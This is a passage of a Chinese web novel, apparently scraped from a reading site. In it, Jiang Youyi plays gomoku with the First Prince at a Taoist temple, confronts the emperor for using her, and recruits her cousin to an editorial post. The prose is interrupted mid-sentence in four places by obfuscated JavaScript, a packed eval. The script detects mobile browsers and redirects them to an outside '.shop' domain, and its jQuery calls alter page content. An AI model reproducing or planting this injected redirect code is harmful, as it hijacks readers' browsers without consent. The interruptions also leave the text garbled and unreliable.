江幼宜又进了一个院子,正巧屋内出来一位道士:“这位施主,后院香客禁入。” 江幼宜低下头,握掌成拳抵在唇边:“咳咳,实在不好意思,我不小心迷路了。” 道士看江幼宜是个年迈的老妪,迈步上前:“施主,我送您去前院。” 被这个道士送出去再想混进来就难了,江幼宜正在思考怎么脱身。 一个道童突然出现在小院门口,朝江幼宜身边的道士鞠一礼:“天风师兄,这位施主是云隐师叔的客人。” “原来如此,那就交给天明师弟了。” 道童天明看向江幼宜:“施主,请随我来吧。” 江幼宜没再刻意维持身姿佝偻的状态,她确信,这位云隐师叔一定就是大皇子,而她,早已被对方识破身份,只是不清楚是从她进入岳州地界的时候知道的,还是从她进入临东府的时候知道的,亦或是远在京城的时候,她的一举一动都在被监视。 她跟在天明身后苦笑一下,果然还是逃不过吗? 天明带她左绕右绕,穿过一片硕果累累的桃林,来到一处四下无邻的清幽小院:“施主,云隐师叔就在里面等您。” 该来的总归躲不掉,江幼宜一撩裙摆,踏入院中。 院子里有一颗很大的柿子树,橙红色的柿子挂在枝头,快要入秋了,柿子也到了收获的季节。 柿子树下站着一个身穿道袍的人,正背对她立在石桌前,身姿挺拔闲适,宛如一个真正仙风道骨的道士。 “来,坐。”那人回头,容貌与谢怀川有几分相似,嘴角挂着一抹浅笑。 不愧是皇家血脉,无论气质相貌都属上乘,比起谢怀川人前伪装纨绔人后老谋深算的两面派,这位大皇子举手投足间温和有礼,让人如沐春风,实在让人难以相信这样的人竟能暗中蛰伏十年,只为一击必中,将自己的兄弟拉下皇位,取而代之。 比起将情绪挂在脸上的恶人,这样的笑面虎才最难对付,自己绝不是他的对手。 谢怀礼唇间笑意渐深,伸手示意江幼宜坐下:“江姑娘,来陪我下盘棋吧。” 石桌两端分放着黑白子,想来对方早已等候多时,自己偷偷摸摸找人的样子落在对方眼里一定像耍猴一样好笑吧。 江幼宜看着桌上的围棋,轻轻摇头:“抱歉殿下,我不会下围棋。” “那真是可惜,这副棋才刚得,棋子乃是上好的玉打造,居然没机会试试它的手感。”谢怀礼笑眯眯给江幼宜斟了一杯茶。 刚得?这副棋子不会是坐轿上来的那个官员送的吧? 江幼宜一走神,没能及时阻止大皇子给她斟茶,头皮发麻,拒绝与大皇子对弈,还让大皇子替自己斟茶,自己还能活着走出这间院子吗?这茶里不会有毒吧…… 围棋她真的不会下,江幼宜绞尽脑汁极力挽救:“额,不知殿下有没有听说过五子棋?” 谢怀礼眉眼一抬,适时表现出一点兴趣:“哦?五子棋是何棋?” “也是黑白子,横着竖着斜着都能下,只要五个同色棋子率先连成一条线即为赢。” 谢怀礼端起茶杯,观茶色嗅茶香, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614407|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漫不经心道:“倒是有趣,那就下五子棋吧。” 江幼宜看着谢怀礼端着茶杯又看又闻的,没尝一口就放下,心里十分忐忑,她在谢怀礼抬头时赶紧低头看桌面。 她面前放的是白子,伸手摸起一颗,入手冰凉滑腻,虽然小小一颗,但很有坠手感,确实是好料子,她道:“黑子先行。” 谢怀礼右手放入棋罐:“那我就不客气了。”修长白皙的食指和中指夹着一颗黑子,落在棋盘右上角。 江幼宜的视线追随着谢怀礼的手,看到落子的位置愣了一下,她悄悄抬头打量谢怀礼的表情。 对方眉目带笑,语气温和:“江姑娘?” 她垂下头,悄悄深呼一口气,将白子落在棋盘正中央。 江幼宜没敢抬头,只听上方传来一声轻笑:“倒是我蠢笨了” 他将第二子落在江幼宜白子旁边。 你来我回一番,江幼宜赢了,但她并不开心,或者说不敢开心。 谢怀礼微微一笑:“恭喜江姑娘,你赢了。” 江幼宜赶忙将棋盘上的棋子捡回棋罐,干笑两声:“哈哈,险胜险胜,怪我没跟殿下讲清楚规则,不然赢的就是殿下了。” “再来一局,这局换江姑娘先走。”谢怀礼伸手将两人的棋罐互换。 看来是大皇子起了好胜心,这一局自己千万不能赢,但也不能让的太明显。 “江姑娘,你不下这里吗?下这里你就赢了。”谢怀礼指着一处,一旦江幼宜落子那里,黑子将连成竖着和斜着的四子,虽然另一头都有白子堵着,但谢怀礼也只能堵一条。 “哈哈,我都没有看出这里暗藏玄机呢,殿下棋艺高超,在下钦佩。” 谢怀礼还是那副带着笑意的温和模样:“江姑娘,是真没看出,还是有意想让?” 江幼宜额头浸出汗来,真是受不了这些人,一句话好几个坑,这让她怎么回答? 她心一横:“殿下专程找我来,恐怕不是单纯为了下棋吧?” 谢怀礼眉头轻蹙:“江姑娘何出此言?” 还装!还装! “殿下,在下的表哥是否被您带至贵道观?” 对方轻轻点头:“不错。” “殿下,在下只是一介平民,家中既无财产也无权势,殿下所图之事,在下无能为力,姨母和表哥于我有恩,表哥身体不好,恳请殿下允许在下将表哥接下山休养。” 谢怀礼拿起茶杯来回把玩:“你可知今日轿中人是谁?” 力夫只喊大人,连姓氏都没有,那人也不是京官,江幼宜无从猜测,她摇摇头,诚恳道:“在下不知。” 谢怀礼探身向前,两人耳鬓厮磨,距离近到江幼宜能感受到对方呼吸,她双手抓着腿上的衣服,听对方轻声道:“那人可是临东府的都指挥……” 都指挥什么?都指挥佥事还是都指挥同知?亦或是都指挥使?但不论哪个,都意味着谢怀礼跟临东府掌兵权的人私下有来往,江幼宜暗自心惊,这个消息就这么透露给她…… “皇兄!”一道声音打断了谢怀礼后面的话。 江幼宜整个人僵在原地,是谢怀川的声音! 23. 利用 江幼宜心中惊疑不定,谢怀川怎么来了?他什么时候来的? 她抓着衣服的手不自觉收紧,对!自己现在这副装扮,对方不一定能认出自己,只要自己不回头……江幼宜猛然抬头。 谢怀川在自己身后! “皇兄,你不要再吓她了。” 谢怀礼直起身,轻轻一笑,语气暗含调侃:“哦?是心疼了?还是吃醋了?”他拿起茶杯浅酌一口,嫌弃地放下,茶都凉了。 “皇兄!”谢怀川的语气颇有些恼羞成怒。 “好好好,让我吓她的是你,不让我吓她的也是你,现在我反倒成坏人了。”谢怀礼提高音量朝院外呼唤,“天明,帮我重新换壶茶来。” 谢怀川的目光在江幼宜和谢怀礼之间流转,确实是他让皇兄吓一吓江幼宜,顺便套套她的话,算是对她甩开暗卫随意乱跑的惩戒,他刚刚在屋里听着,看她真被大皇兄为难又于心不忍,这才出来制止。 可是刚刚出门看到的那一幕一直在他脑海中挥之不去,他都没跟江幼宜如此亲密过……皇兄师承正一派,没有不能娶妻生子的门规,难道江幼宜更喜欢皇兄这种类型吗? 也是,谢怀川自嘲一笑,大家都喜欢大皇兄,江幼宜喜欢也是人之常情…… “怎么?傅卿就这么喜欢跟朕的大皇兄下棋,或者朕该称你为江卿?” 江幼宜听着两人的对话,什么意思? 身后是不知喜怒的谢怀川,面前是温润如玉的谢怀礼,原来这两兄弟并非王不见王的竞争对手,相反,关系还好得很,自己实在错得离谱,那些阴暗的揣测,费尽心思的推演此刻就像个笑话,她这个人也是。 原来不止谢怀礼知道她身份,谢怀川也知道,或许,就是因为谢怀川知道,谢怀礼才会知道。 谢怀川他早就知道! 江幼宜猛地站起来,转身直面谢怀川,脸上是刻意压制的怒意:“陛下早就知道我的身份,所以派汪霖出现在贡院门口,帮我隐藏身份入场,所以我一进翰林院就下旨让我去修订科举参考书,所以在那套新参考书没有公开的前提下就破格提拔我,陛下处心积虑做这一切,都是为了利用我,是也不是?” 谢怀川面对江幼宜的质问,嘴角绷直,面无表情,不发一言。 江幼宜继续道:“这次出京,即使我不主动请缨,陛下也会选我出来,因为我是陛下选中对付世家的棋子,是也不是?” 谢怀川紧紧盯着江幼宜,目光不闪不躲,任凭那双眼睛里的怒火灼伤他,继续沉默,因为他确实是这么想的,也是这么做的,他没什么好反驳的。 他甚至痛快地想,江幼宜恨他也好,怨他也罢,最起码这种强烈的情绪能让他在江幼宜心里占据一席之地。 他刚要开口应是,想在这把火上再浇点油,一只宽厚温暖的大掌覆上他肩膀,是皇兄,谢怀礼对谢怀川摇了摇头,谢怀川最终什么都没说。 江幼宜看谢怀川一副默认的样子,不知为何更加生气,明明她从一开始就猜测汪霖帮她是有所图谋,她那个时候很坦然的就接受了,毕竟没有谁应该理所当然的帮她。 可是现在换到谢怀川身上,她突然就接受不了了,或许是因为汪霖对她来说充其量只是个见过两面的陌生人,而谢怀川却是她慢慢了解之后决心效忠的皇帝,现在她知道所有的一切都只是对方的算计,而自己就是个彻头彻尾的小丑,所以自己才如此破防。 如果她一开始就知道她是谢怀川的棋子,或许她们能达成一致,互相利用只为达成各自的目的,就不会有这些多余的情绪。 也是她蠢,她早该知道,身为帝王,谢怀川是没有心的,尤其他还是一个被外祖和亲生母亲背叛的帝王。 江幼宜躬身垂头拱手:“请陛下恕罪,臣御前无状,要杀要剐悉听尊便。” 面前的人始终没有开口,江幼宜也一直没有起身,良久,江幼宜看到那双黑色皂靴调转方向,回了室内。 谢怀礼把着江幼宜的胳膊将她托起来:“江姑娘久未得见兄长,想必十分担心,我让天明带你去。” “多谢殿下。”江幼宜看一眼谢怀礼,是啊,明明是这么温良的面容,自己却以小人之心度君子之腹,答案从来就写在谜面上,是自己一直多想,怪得了谁呢,“误会了殿下,还望殿下恕罪。” 谢怀礼轻轻摇头:“江姑娘,你误会的并非是我,怀川他并非全如江姑娘说的那样,江姑娘的兄长是怀川怕你身份暴露,托我带上山的,给你兄长用的名贵药材也是怀川从宫里送来的,怀川他……” “皇兄!”谢怀川在屋内出声打断谢怀礼。 谢怀礼顿了一下,继续道:“总之,你仔细想想,怀川对你是否全是利用。” “幼宜多谢殿下提点。”江幼宜对谢怀礼拱手,径直离开小院。 江幼宜心事重重跟在天明身后,突然闻到一股臭味,她向旁边扫了一眼,目光落在一个挑着木桶的背影上:“等一下。” 影十僵在原地,听着身后的脚步声越来越近,他捏着嗓子:“姑娘,我这桶里挑的是粪,姑娘还是离我远些,别沾了腌臜味。” 江幼宜已经走到了影十身后:“你转过来。” “姑娘,真挺脏的,别……” “转过来!” 听江幼宜语气带着怒气,影十只得把桶放到一边,慢吞吞转身,心里暗自叫苦,自己不会还要再多打扫三个月的茅房吧。 江幼宜看向对方面容:“是你!”那个出十两银子替主子买下话本的黑衣人,也是她在成衣铺看到的劫匪。 “你是谢怀川的暗卫,那天在成衣铺是你在跟踪我。” 完啦完啦,是陈述句,他就说皇后那天肯定是发现他了,才会把他甩掉,现在皇后直呼陛下大名,一定是因为这件事跟陛下闹矛盾了,自己这条池鱼肯定要被殃及了。 呜呜呜,六个月的茅房,真的没有人帮他吗?他的命好苦啊! “你叫什么名字?”她看一眼旁边不停散发着迷人气味的木桶,“这是在做什么?” “回皇……额傅……额江……”影十纠结,现在喊哪个称呼能博得皇后一点好感,能让他少打扫几个月茅房呀。 江幼宜看对方可怜兮兮的,总归背后主使是谢怀川,不该迁怒到暗卫身上,便善解人意道:“只是一个称呼,怎么喊都行。” 影十松一口气,还是皇后最善良,一脸单纯道:“回皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614408|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后娘娘,我是影十,我犯了滔天大错,陛下只罚我打扫三个月茅房。”陛下和皇后闹矛盾了,他这么说肯定显得陛下非常仁慈,可以帮陛下挽回在皇后心中的形象,影十翘起嘴角,自己可真是个小机灵鬼啊。 江幼宜的表情变得一言难尽,语气暗含同情:“行,你去干活吧。”这孩子的脑回路,谢怀川,罚的对啊。 影十朝江幼宜道:“属下告退。”随即美滋滋挑起木桶,皇后同情自己,肯定是因为见不得自己做这些,说不定不会有加罚了。 江幼宜望着影十远去的背影,原来当初花十两银子买下她话本的居然是谢怀川吗?怪不得自己一进京就暴露了,原来是因为谢怀川早就知道这个世界上有如此长相的女子,碰巧看到派人去查探一番十分合理。 这并不能改变谢怀川利用她的事实,但谢怀川那十两银子确实在某种程度上算救了她的命。就这样吧,皇帝算计人心是一件再正常不过的事,自己因此产生别的情绪才不正常,她入朝就是为了往上爬,接近谢怀川的初心也并不纯粹,而谢怀川的利用也恰好帮了她,既然目的已经达成,过程如何并不重要不是吗? 眼下她地位不高,仍需要谢怀川的权势,而谢怀川想要寒门入朝,也需要她继续编撰科举参考书,她身为新闻撰稿人,笔杆子的威力还远远没有发挥出来,一时半会儿谢怀川还需要她。 既然如此,那就让一切回归原点,她们只做一对互相利用的君臣,不必交付彼此的真心,毕竟利益产生的联结远盛感情。 “走吧。带我去见表哥吧。” 院子周围没人看守,院子里种满了鲜花,表哥正在浇花,举手投足不见年初的孱弱,看得出来身体恢复得很好,在这里过得也不差。 “表哥。”江幼宜站在门外,轻轻一敲院门,开口呼唤。 傅文松扭头,不可置信地看着江幼宜:“表妹,你怎么来了?” 或许是因为鬼门关前转了一圈,终于放下心中执念,傅文松的性子也没那么沉闷了,只见他放下手中的水壶,快步向门口迎过来。 江幼宜看着这样的表哥,忽然眼睛一阵酸涩,蒙上一层水汽,她往前跑了两步,扑到傅文松怀里:“表哥……”心中似有千般委屈,万重感慨,最终只喊了一声表哥。 傅文松将江幼宜拥在怀里,轻轻拍打着她的背:“怎么了,是有谁欺负我们幼宜了吗?” 江幼宜把头在傅文松肩窝蹭了蹭,感觉肩上的担子都轻了一半,是有哥哥可以依靠的感觉啊:“没有,只是太想表哥了。”表哥如此健康的站在她眼前,真是太好了。 她从表哥怀里起身,不好意思地用手在傅文松肩头那道湿痕上蹭了蹭,突然发现一个事实:“表哥,你长高了!” 她进京前表哥只比她高一点点,稍微在鞋里垫几层鞋垫就能赶上,现在都比她高快一个头了,也对,研究表明,心思太重也会影响发育,看来表哥真的想开了很多。 傅文松抬手摸摸江幼宜的头:“以后天塌下来就有个高的顶着了,开心吗?” 江幼宜重重点头:“嗯嗯。” 傅文松看向院外,那里站在一个像谢怀礼但不是谢怀礼的人,面色沉郁,十分不善。 24. 往事 谢怀礼目送江幼宜离开,进了屋子里。 他看着坐在屋里生闷气的谢怀川,无奈摇头:“你啊,真是跟顾家一脉相承的嘴硬,明明喜欢,就是不开口,开口也要说反话,哪个姑娘受得了你。” “谁说我喜欢她!” “这就是不打自招了吧,我刚刚可没说你喜欢她。” 谢怀川把头瞥向一边,闷声不说话。 “就算你是皇帝,也不能这样对待喜欢的姑娘,你刚刚那样让江姑娘误会你,是想怎样?难道想就此跟江姑娘分道扬镳吗?” 谢怀川依旧不语。 “我看啊,父皇看人也未必就准,说什么小小年纪就心性坚韧沉得住气,有明君之相,将来必成大器,结果长这么大了都没学会怎么好好说话。” 谢怀川一下子把头转过来:“父皇何时说过这番话?” 谢怀礼望向窗外,目露怀念:“自然是在册封你为太子之后。” 册封他为太子之后,那不就是皇兄因为巫蛊案被禁足的时候吗? “皇兄……” “你不必自责,也不用觉得你亏欠我什么,毕竟你也是受害人之一。” 谢怀川的外祖顾松涛和谢怀川的母亲顾知微为了让谢怀礼失去圣心,让谢怀川继承大统,不惜给谢怀川下药,用谢怀川的命去诬陷当时圣眷正浓的谢怀礼使用巫蛊之术谋害皇嗣。 虽然先皇第一时间封锁消息,但谢怀礼被禁足宫中,无缘太子之位,他的恩师李明章也受牵连致仕,最终谢怀川被册封太子,首辅之位也落到了顾松涛手里。 “你可知父皇对这件事从头到尾都是知情的?” “父皇既然知情,为什么还要罚你禁足,同意太傅致仕?” “事到如今你还看不明白吗?皇权和世家的斗争从父皇那时起就落了下风,如果太傅不致仕,结局只会更糟糕,父皇说我耳根子软,压不住这些世家,且背后也无强势的世家支持,让我继位,局面只会更糟糕。” 谢怀礼转头看向谢怀川:“而你却不一样,你从小就主意正,认定什么就去做,从不在意旁人的眼光,母族强势,但你能压住,给你时间,世家你也能压住,所以就算没有巫蛊案,父皇也会立你为太子的。” “父皇……他真的对我有如此期望吗?”可是父皇在世的时候,他从来没得到过父皇的半句夸奖,永远只有冷冰冰的背影。 “皇兄还会骗你不成?你呀,就是跟母妃一样,脾气太硬了,母妃说话不好听,你也没句软和话,久而久之,再亲近的人也都疏远了。这皇宫里有多少嫔妃和皇嗣,不争不抢,就把机会都让给别人了。” “可是我好像辜负了父皇的期待……” “世家权势如日中天,非一朝一夕能达成,你已经做得很好了,父皇相信你,皇兄也相信你。” “既然皇兄并不怪我,为什么这么多年都避我不见?” “你是皇帝,我虽然已经修道,但总归是先皇的儿子,与尘世中人过多接触难免给有心人可乘之机,传出流言蜚语,民心不稳,你皇位不定,也有碍你我兄弟之情。” “皇兄!”这声皇兄却非谢怀川的声音。 谢怀礼和谢怀川同时向门外看去,是端王谢怀义。 谢怀义冲到屋里,发现屋里不止有谢怀礼,还要谢怀川,当即质问道:“你怎么在这里?” 谢怀川:“藩王无召不得出封地,显然四皇兄出现在这里更奇怪才是。” “你!” 谢怀义瞪着谢怀川,谢怀川不甘示弱回视回去。 谢怀礼起身,把谢怀义指着谢怀川的手臂按下去:“好了好了,怀义,不得无礼,都多大的人了,还一见面就吵,你不是最喜欢吃桃子了嘛,桃林的桃子都熟了,皇兄带你去摘。” 谢怀义高兴起来:“我就知道皇兄对我最好了。” 谢怀川看着并非一母同胞却如此亲近的两人,酸溜溜道:“看来皇兄拒不见我,并非怕什么流言蜚语,只是怕我撞见四皇兄吧?”外面那么大一片桃林,想来四皇兄必是常来。 “院子里的柿子也熟了,我记得你小时候很爱吃,我去摘来给你。” “谁说的,我才不爱吃。” 谢怀义冷哼一声:“虚伪!” 谢怀礼轻轻拍了谢怀义一下:“你呀,少说两句。”又朝谢怀川道,“既然六弟不爱吃,那我就不去摘了。”这个口是心非的毛病是该治治了。 话落,谢怀礼率先踏出房门,谢怀义冲谢怀川得意一笑:“皇兄,等等我。” “哎……”谢怀川眼睁睁看着两人并肩离开。 谢怀礼终是于心不忍,在院门口驻足,未回头,留下一句:“柿子寒凉,莫要贪吃。” 谢怀川一囧,都多久之前的事了,皇兄还记得…… 他看着院中的柿子树,树龄跟那些桃树一样,想来都是皇兄一来就种下的,他伸手轻轻抚摸着树干,这些年皇兄是怀着怎样的心情,一边照料这棵树长大,一边拒绝跟自己见面的呢? 他拿着两个刚摘下来的柿子,找人带他去寻傅文松所住的院落,是真的傅文松,因为江幼宜在那里。 江幼宜在傅文松怀里,他还摸她的头发,她很开心…… “您是?”傅文松谨慎开口,他知道山上住着尊贵的大皇子,一开始他也怀疑过自己来此是不是跟大皇子有关,可是到这儿之后处处妥帖,大皇子和道观其他人并没有过多关注他,他这才安心住下来。而他也只寥寥见过大皇子几面,并没有任何异常,这位与大皇子面貌相似的男人想必也是某位皇嗣。 江幼宜顺着傅文松的视线回头,谢怀川正站在门口。 江幼宜红彤彤的眼眶撞入谢怀川眼中,她哭了……是因为自己吗? 谢怀川的手下意识收紧,手中的柿子的提醒他来这儿的目的,他抬起手,不太熟练的开口:“皇兄院子里的柿子熟了……”可惜,柿子不小心被他捏坏了。 江幼宜并未看谢怀川手里的柿子,她直视谢怀川的眼睛,冷冰冰拒绝:“多谢陛下好意,臣不爱吃柿子。” 竟然是皇帝!傅文松赶紧垂头拱手:“草民参见陛下。”他既震惊对方的身份,也震惊表妹的反应,看现在的情形,陛下竟然知道幼宜的真实身份。 谢怀川收回手,刻意往身后藏,破裂的柿子流了他一手汁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614409|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水,很是狼狈,是他鲁莽了,他本想借口缓和一下关系,却连对方的喜好都没了解清楚。 “那……打扰了。”谢怀川快步离开,几乎算得上落荒而逃。 江幼宜看表哥还维持着行礼的姿势,提醒道:“皇上走了。” 傅文松如梦初醒,直起身来,紧张地问:“幼宜,皇上何时知道了你的身份?你还能重回朝堂吗?会有生命危险吗?” 看来表哥并不知道他来此的真相。 江幼宜刚刚才感受过从头到尾被蒙在鼓里的感觉,并不好受,好像自己并不是一个有独立思想的人,而是一个提线木偶,自己并不知道线的存在,但一举一动都在提线人的注视下,走过的路也都是被人安排好的,无关这条路是好是坏,这种被束缚被安排的感觉,她十分抵触。 她本是为了争取女子自主权才决定走入朝堂,现在她却连自己的自主都没争取到:“皇上他……从头到尾都知道,表哥你也是因为皇上帮我隐藏身份才被人带到这道观来的,我现下对皇上还有用,朝堂肯定能回的。”至于生命危险,只要她一日还站在朝堂上,就避免不了。 “幼宜,是不是很辛苦?”傅文松心疼地看着江幼宜,寒门为官本就辛苦,幼宜还要兼顾隐藏身份,怕是难上加难。 江幼宜一笑,确实辛苦,可是这些辛苦如果能换来女子更多的生存空间,就十分值得。 “表哥,这世间就没有谁是不辛苦的,我不怕辛苦,我只怕得不到结果。表哥,我看你已经大好了,我知你也有自己的抱负,不会想要一生蹉跎在这道观里。” 江幼宜四下看一圈:“表哥,我们进屋聊吧。” 傅文松看江幼宜如此慎重的模样,知晓她接下来说的话可能涉及到一些秘辛:“好。” “陛下他在民间的风评想必表哥也有所耳闻。”江幼宜声音压得很低。 他点点头,皇上在民间的风评确实算不上一个明君,幼宜这话的意思,难道是传闻有误? “朝中权势大多被世家把控,陛下有意藏拙,正在等待机会反击,陛下之所以帮我隐藏身份,也是看中我是寒门,表哥,这是个机会。”抛开谢怀川对她的利用,只说作为一个皇帝,江幼宜认为他确实能做一个好皇帝,只有在谢怀川的统治下,她才有可能实现她的抱负。 “你的意思是,陛下准备大量提拔寒门来对抗世家?” “如果我没猜错,下一届科举就是朝中大洗牌的开始。”新版科举参考书刊刻出版,经过两年半,下一届科举寒门就能崭露头角。 “表哥,来稷下书院吧。” “稷下书院?” “没错,稷下书院现在正在组建编辑部,更新我主导编撰的科举参考书,我跟陛下不能一直留在这里,思来想去,表哥你是最熟悉我这套备考方法的人,十分适合主编的位置。而且稷下书院的山长是李太傅,对表哥今后的科举路也有帮助。” “李太傅?可是六元状元李太傅?” “对,是他,其他人我会再安排,表哥只需要暂代主编一职,把控参考书的更新方向就行,主要精力还放在科举上,当然也会付表哥相应的工钱,如何?” 25. 登门 傅文松迟疑:“我行吗?” “当然行!你可是帮着云承考上举人的人。” “云承,他还好吗?” “挺好的,虽然不是一甲,但也考上庶吉士进了翰林院,眼下他有了清贵出身,又恰逢陛下重用寒门,好日子还在后头呢。” “那就好。表妹你何时跟陛下回书院,我跟你们一起下山。” “你答应啦?” 傅文松笑着点头:“嗯,表妹已经帮我铺好了路,我岂能辜负你一番好意,只是……” “怎么了?”江幼宜疑惑。 傅文松试探道:“你跟陛下?” “我跟陛下什么都没有。”江幼宜飞速否认。 “我是说,刚刚我看你跟陛下似乎有些矛盾?你所说的编辑部应该也是陛下的布局之一,你贸然把我安排进去,陛下能同意吗?” “表哥放心,陛下说过,这件事交由我全权负责,表哥就是最合适的人选,并非是我以权谋私,任人唯亲。而且陛下他神通广大,什么都知道,肯定不会误会。表哥可以收拾下行囊,我去问问我们何时下山。” “好。” —— 刚刚才硬邦邦把谢怀川刚走,现在又得上赶着去问行程安排,江幼宜低着头,脚步慢吞吞地往谢怀礼的院落走去。 “江姑娘?” 江幼宜抬头看去,是谢怀礼和一个陌生男人,俩人正在桃林摘桃子,相处十分亲密和谐,不像上下级,她朝谢怀礼打招呼:“大皇子。”又把视线转向陌生男人,她直觉,这位应该就是那位“哥控”端王。 “这位可是端王殿下?” “你是何人?”谢怀义打量着眼前的女人,略有些嫌弃,听声音明明是个年轻女子,却一副老妪打扮,关键是脸上的粉十分斑驳,这个女人难不成是乔装打扮混进来纠缠大皇兄的? “启禀殿下,臣是起居舍人江幼宜。” 原来是谢怀川带上来的人。不对,起居舍人怎么是个女人?谢怀义一脸惊异,上上下下打量江幼宜。 “江姑娘是来?” “我来寻陛下。” “你的陛下可不在这里。”谢怀义嗤笑道,别以为他不知道,分明就是找借口来纠缠大皇兄的。 谢怀礼微微诧异,问道:“江姑娘,陛下没有去寻你吗?”不应该啊,刚刚他分明看到六皇弟拿着两个柿子往江姑娘表哥住处那边去了。 这下轮到江幼宜愣住了,陛下刚刚确实是去寻她了……看来陛下从表哥那边离开之后没再回来,而眼下大皇子也不知道陛下去哪里了。 “多谢大皇子和端王殿下,在下告辞。”暂时寻不到,还是先回表哥那边吧。 看来真不是来纠缠皇兄的,而是跟谢怀川有猫腻,谢怀义一脸八卦地问:“皇兄,什么情况啊?”他最爱看谢怀川的笑话了! 谢怀礼无奈摇头:“君子不背后议人是非,好了,先摘这么多,我们回去吧。” 影一看着下山一趟只为买皇后爱吃的点心,看见正主又躲起来的陛下叹息,他拎着点心盒子上前:“大人,这里面是您爱吃的点心,中秋将近,当地时兴的月饼也装了一些,您拿去尝尝吧。” “谁买的?”其实她知道,肯定是谢怀川吩咐影一去买的。 影一提着点心盒子心里发苦,陛下不让说是他买的,他也不能冒领陛下的功劳,索性闭口不言,只道:“大人,收下吧。” 江幼宜余光扫到影一身后的墙角,一截衣摆露在外面,难道是谢怀川亲自下山买的吗?她也太自作多情了,堂堂天子,想买个点心多得是人争着抢着替他跑腿,这山上下一趟这么难,怎么可能会亲自去? 她还需要谢怀川,对方既然已经给了台阶,就顺着下吧。不然朝中寒门也不止她一个,对方随时可以换个利用对象,而自己一旦成了弃子,就什么都不是了。 江幼宜伸手接过点心盒子,沉甸甸的:“多谢,陛下可有说过何时下山?” “中秋过后。” 想来是跟大皇子多年未见,要一起过个团圆节再离开吧,她点点头:“好。” 影一突然又把江幼宜手中的点心盒子拿回去:“大人,盒子沉,您要去哪?我帮您拿。” “多谢,去表哥院子里。” “幼宜,有人给你送来了两套衣服。”傅文松看到江幼宜出现在视线中,出门迎了上去。 “衣服?”江幼宜低头看一眼,自己这身打扮确实不怎么入眼,到了山上发生这一出出的事情,也没来得及更换衣物,现在想想,顶着不堪入目的妆容和褴褛的衣衫在几位皇嗣眼前来回晃的确不妥。 她跟着傅文松进屋,桌子上的两套衣服都是她的尺码,一套男装,一套女装,她想了想,反正她的身份在这群人眼中已经暴露的彻底,再没什么好隐藏的。 影一跟在两人身后进屋,放下点心盒子识趣退出,临走前瞥一眼那两件衣服。 “陛下说中秋后再下山,表哥,你院子里还有地方吗,容我住几晚。” “当然有,我已经收拾好了。” 江幼宜拿起那套枫叶红的衣裙,做工很精美,料子也很柔软,还有银丝织入其中,很有光泽感,抖动间流光溢彩,上半身的刺绣也很精致,堪比现代高定。 “幼宜可要沐浴?我去烧水。”傅文松看江幼宜似乎对这条裙子很是喜爱。 “那就有劳表哥了。” 话音刚落,院子里传来影一的声音:“大人,热水来了。” …… 除了热水,还有一个崭新的浴桶,正好都是她需要的,点心收了,衣服也收了,热水和浴桶比起来好像份量就没那么重,心理压力没那么大,而且又恰好是她需要的,江幼宜没有推拒。 “幼宜,你和陛下,真的没什么吗?” “当然!这是因为陛下之前做了对不起我的事,也不算对不起,反正是他理亏的事,我这么能干,他想用这些东西补偿我,好让我继续死心塌地为他效劳,很合理。” 或许是因为自己知道谢怀川的秘密,她们俩现在是一条绳上的蚂蚱;也或许是现在不在京城,再重新起用新的寒门很麻烦。总而言之,自己现在对于现阶段的谢怀川十分重要。 没错,就是这样,那就互相利用下去吧!江幼宜憋着一口气,任由自己被淹没在浴桶里。 “师叔,那人还没走,说一日见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614410|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不到您,就一日不下山。” 谢怀礼放下手中的经书,给谢怀川使了个眼色:“请他进来吧。” 谢怀川藏身到后方的书房中。 身着常服的蒋仁德亲自捧着一个盒子踏进小院,人未至,声先到:“下官拜见大皇子。” 进门一看,除了大皇子,旁边还坐着个端王,盒子呈给道童,撩袍下跪:“不知端王在此,这……下官只备了一份节礼,请端王恕罪。” 谢怀义冷眼看人在地上跪了一会儿,才开口道:“不知者无罪,起来吧。” 